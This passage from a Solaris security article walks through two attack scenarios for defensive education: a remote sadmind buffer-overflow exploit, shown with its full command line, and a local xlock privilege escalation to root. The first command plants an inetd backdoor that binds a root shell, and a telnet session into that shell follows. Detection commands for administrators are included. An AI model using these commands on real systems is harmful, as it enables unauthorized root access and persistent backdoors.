- Tricks
- Tools
- Techniques
- How to Use the Tools
- Related Resources
Like this article? We recommend
Like this article? We recommend
Like this article? We recommend
Techniques
In this section, we describe two different attack scenarios to demonstrate how easily a hacker can gain access to an unsecured system. These successful attacks simulate the following scenarios:
Attacks from the Internet
Attacks from employees
In both attack scenarios, after the hacker establishes a root account, the hacker wants to maintain access to the system and establish additional privileges to access the rest of the environment. We correlate the tools that the hacker uses to find vulnerabilities, gain access, and establish additional privileges.
For information about the tools and how to use them, please refer to the following sections:
"Tools"
"How to Use the Tools"
Attacks From the Internet
In this scenario, a hacker uses the Nessus vulnerability scanner to locate a system running Solaris 2.6 OE that has not been protected from the sadmind remote procedure call (RPC) service vulnerability. Let's see how the sadmind exploit works against the victim system.
After the hacker gains access, the hacker uses a rootkit to gain and maintain root access.
The header of the sadminindex.c program provides the following information on its usage:
sadmindex - SPARC Solaris remote root exploit for /usr/sbin/sadmind Tested and confirmed under Solaris 2.6 and 7.0 (SPARC)
Usage: % sadmindex -h hostname -c command -s sp [-o offset] [-a alignment] [-p]
where hostname is the hostname of the machine running the vulnerable system administration daemon, command is the command to run as root on the vulnerable machine, sp is the %sp stack pointer value, offset is the number of bytes to add to sp to calculate the desired return address, and alignment is the number of bytes needed to correctly align the contents of the exploit buffer.
The author of the sadmindex program made things even easier by providing example stack pointer values. Some tinkering with the sp value was necessary in this example to get the exploit to work; however, it didn't take much trial and error because the next offset tried was 0xefff9588.
The hacker runs the exploit from a Solaris 8 OE system against the Solaris 2.6 OE system, with the following arguments:
# ./sadminsparc -h nfs -c "echo 'ingreslock stream tcp nowait root /bin/sh sh -i' >/tmp/.gotcha; /usr/sbin/inetd -s /tmp/.gotcha" -s 0xefff9596
The exploit produces the following output:
% sp 0xefff9596 offset 688 --> return address 0xefff9844 [4] % sp 0xefff9596 with frame length 4808 --> %fp 0xefffa858 clnt_call: RPC: Timed out now check if exploit worked; RPC failure was expected
As an administrator, if you want to try this exploit on your system, or if you want to determine if an attacker has tried this exploit on your system, run the following command to verify that the inetd process is running:
# ps -ef | grep inetd root 5806 1 1 22:59:38 ? 0:00 /usr/sbin/inetd -s /tmp/.x
Next, run the following command to determine if a service called ingreslock is listening:
# netstat -a | grep ingres *.ingreslock *.* 0 0 0 0 LISTEN
A hacker establishes a Telnet connection to the port with the following command. Using this command provides the hacker a root shell prompt, which allows the hacker to infiltrate the system further by adding new accounts:
# telnet nfs ingreslock Trying 192.168.0.20... Connected to nfs. Escape character is '^]'. # hostname nfs
Attacks From Employees
In this scenario, an employee has user access privileges to the system, however, the employee is not authorized to have root access privileges. This scenario is very common. It usually occurs when accounts are left logged on and systems are insecure, thus providing an intruding employee the opportunity to perform unauthorized actions.
The ability of malicious internal users to gain additional privileges on Solaris OE systems is a very real security issue. Unfortunately, it is frequently overlooked or ignored by administrators and managers who say, "That could never happen here" or "We have to trust all of our employees." Serious security incidents occur in situations like these.
Most systems have different types of users. Authorized individuals are systems administrators, operators, database administrators, hardware technicians, and so forth. Each class of user has permissions and privileges defined by user ID and group IDs on the system. Most of these users do not have a root password or permission to use it.
What happens when an authorized user turns malicious or an intruder gains access to an authorized user's account through trusted relationships, poor password management, sessions left unlocked, and the like?
Once on a system, malicious users and intruders can use buffer overflow attacks to gain root privileges. For example, on August 10th, 2001, a buffer overflow against xlock was released. (The xlock executable is a utility for locking X-windows displays.) This utility is useful to attack because it is installed with the setuid root command, due to its need to authorize access to the display when it is locked.
A quick search through a few web sites provides the sample source code, which only has 131 lines of code. For this scenario, after compiling with the freeware GNU gcc compiler, the executable is placed on the test system ganassi. The following sequence demonstrates the exploit:
console login: noorder Password: Sun Microsystems Inc. SunOS 5.6 Generic August 1997 ganassi% /usr/ucb/whoami noorder ganassi% ./sol_sparc_xlockex shellcode address padding = 0 stack arguments len = 0x502(1282) the padding zeros number = 2 Using RET address = 0xeffffb10 Using retloc = 0xefffe8c4 # /usr/ucb/whoami root
Now that the attacker has root privileges on the system, it is easy to use a sniffer, install back doors, maintain and gain additional access privileges using rootkits, and perform tricks and subsequent attacks.